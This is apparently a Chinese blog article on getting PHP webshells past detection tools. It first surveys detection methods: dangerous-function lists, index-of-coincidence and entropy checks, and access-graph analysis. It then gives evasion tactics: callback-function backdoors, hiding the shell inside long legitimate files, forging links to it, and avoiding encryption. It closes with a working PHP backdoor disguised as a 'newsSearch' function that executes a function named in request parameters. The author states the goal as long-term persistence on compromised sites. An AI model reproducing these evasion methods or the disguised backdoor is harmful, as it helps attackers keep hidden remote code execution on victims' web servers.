一、文章目的:前一阵子看了一篇碳基体妹子的关于webshell检测相关的文章,感觉很有意思,所以又去搜索了下对于webshell检测相关的文章,还真发现了不少,其中很多都对webshell建立了识别模型,根据一些特征进行检测,因此,传统的webshell已经很难逃过如今这些百花齐放的webshell检测系统了。不过,作为安全人员,内心肯定是拒绝的,不能让我们搞站那怎么行?因此,如何绕过这些安全防御就显得很重要了,我在这里总结一些方法,但由于这个维度太大,各家的检测也不尽相同,所以这篇文章只是简单提出几点bypass姿势。 二、防御手段 知己知彼,才能更有效,更有针对性的找到绕过方式,我们先来了解一些关于安全检测产品对于webshell检测的手段。1、特征检测 这种是最传统的安全检测方式了,即根据文件的一些基本特征进行分析,来判断该文件是否为恶意文件,主要从以下几个方面进行检查。

危险函数:eval、exec、system、passthru、shell_exec、assert、base64_decode等

危险文件后缀:php4、php5、cer、asa、ashx、ascx、jspx、war、cfm、cgi等

敏感文件名:cmd.xxx、shell.xxx、one.xxx、one8.xxx、system.xxx,我这里收集的不多,此种方式误报的可能性也很大

内容特征:以大马为例,通常里面都会存在pass字段,使用到遍历目录函数,使用到数据库查询函数等,这些特征在一般的文件中很常见,但如果同时出现在一个文件中也是值得引起重视的

    此种特征检测的方式对广大黑客们来说并不是问题,有各种可花式绕过的方法,但此环节依然作为很多webshel检测器的依据之一。2、统计学思路    如今很多webshell都会对自身进行加密,利用各种花式加密方法,给检测带来了很大的困难。但正常文件中的内容往往都是不会加密的,因此,可以粗浅的判断,加密过的文件是webshell的可能性极高。    如今使用了一种求文件的重合指数方式来判断内容是否加密的方式,即IC(index of coincidence),IC是什么呢?如果一个x集合=x1 x2 x3 x4……xn,那么x的重合指数记为IC(x),定义x中两个随机元素相同的概率。    计算公式:Σ(fi * (fi-1))/N(N-1)    :fi 代表样本中某个字母出现的比率,N代表字母出现在样本中的个数通过计算可以得出:english的IC值为0.0667, english中一个完全随机的字符串的IC值为0.0385那么这两个值有什么意义呢?
    简单来说(english)
加密文件的IC值接近0.0385
明文文件的IC值接近0.0667    如此,计算每个文件的IC值,如果文件的值接近0.0385,那么即可判断该文件是加密的,而web中的加密文件一般就是逃避检查的webshell了。这个算是从NeoPi截取的一种方式,NeoPi使用以下五种检测方法:     a. 信息熵(Entropy):通过使用ASCII码表来衡量文件的不确定性;    b. 最长单词(LongestWord):最长的字符串也许潜在的被编码或被混淆;    c. 重合指数(Indexof Coincidence):低重合指数预示文件代码潜在的被加密或被混效过;    d. 特征(Signature):在文件中搜索已知的恶意代码字符串片段;    e. 压缩(Compression):对比文件的压缩比。3、文件有向图构造    这是我在碳基体博客中看到的一种判断方式,我感觉非常靠谱,这里当一个搬运工webshell的访问特征

少量的IP对其发起访问  

总的访问次数少 

该页面属于孤立页面

下来常见的描述性统计方法上场,我们来统计

单个URL每天的总访问分布 

单个URL的独立访问IP数目分布 

单个URL的入度、出度分布 (我们可以将网站的访问路径当成一个有向图)

所以7这种指向自己的和8这种无出入度的就有很大嫌疑是webshell,当然,这个判断也会导致很多误报,所以仅能当作方法之一。

4.其它方式    检测方式五花八门,上面列举出了三种,当然还有许多其它方式,比如:日志分析、动态检测、时间特征、通讯特征、等等,结合朴素贝叶斯模型进行综合分析,由于篇幅限制不可能一一介绍,否则我这篇文章就变成如何寻找webshell而不是绕过检测了。 三、绕过方式    从以上的几种检测方式可以看出来,webshell的很多特征都会被检测机制所检测出来,所以我们要做的最重要的就是“去特征化”(那种动态跟踪执行过程的不在此讨论范围内),至于如何去特征化,我们在下面的内容中谈一谈。 1.摒弃传统函数    如今市面上大多数检测工具,都会对一些敏感函数所在的位置进行检查,发现比如eval($_POST[‘xxx’])这种你肯定跑不掉啊,另外,像我在前文中说到的那些函数,在实际开发中,使用次数是相当有限的,所以针对这些点做精细检查也相对比较容易,那我们要留下webshell要怎么办呢?做代码审计的同学肯定就很清楚,那就是死抠函数特性。phith0n牛发表过一篇关于php如何利用回调函数构造后门的案例,其中利用了call_user_func、call_user_func_array、array_filter、array_map、preg_replace、array_walk等利用单参数或多参数造成的回调,具体地址见:

我们已经可以看到,仅通过回调后门就已经过了D盾和安全狗,除此之外,匿名函数也是我们的朋友。当然,这么多函数首先你要知道几个,不知道就更谈不上灵活运用了。

2.webshell位置    根据碳基体提到的使用文件有向图来检测webshell的方法,我们可以知道,这种判断方式是基于出入度进行的,那么我们就需要对它造成干扰。干扰这种检测方法的最简单做法就是将webshell直接嵌入已存在的页面,来将其出入度改变至与正常文件无异,或者如果你想让webshell独立为一个文件,就需要伪造出入度,在webshell中include(require)其它文件,在其他文件中加入webshell文件链接,这种方式,就可误导检测引擎将该文件判断为一个正常文件。不过还是建议混入正常文件中,尤其是混入长文件,这样更为保险,即便被识别,要删除也是件很头疼的事。3.拒绝加密    既然是去特征化,那我们的webshell就肯定不能加密,因为加密字符串往往存在很明显的特征,即使不知道加密内容,但判断其是个webshell还是挺容易的,这就与我们长期驻留的目的背道而驰。IC方式对加密webshell的检测效果尤为优秀,另外长加密函数或字符串在规则的代码中也会显得比较怪异,增加被查到的风险,因此,尽量不对后门进行加密也是防范被查的方式之一。4.特征模仿    传统的逃避检测方法无论是使用特殊函数、各种加密、字符转化拼接,都会有一些比较明显的特征,会出现一些与正常代码有明显差异的字符,因此我们要尽量避免这种情况,模仿原生代码就是一种很好的方式了。比如我们简单写这样一个函数: 1 2 3 4 5 6   function newsSearch($para){       $evil=$para;       $exec=$_GET['id'];       call_user_func_array($exec, array($evil));      }      newsSearch($_GET['tid']);     伪造正常的函数调用,那么,扫描工具想将其判断为webshell就相当困难了(请忽略我改的变量名),我们使用安全狗测试一下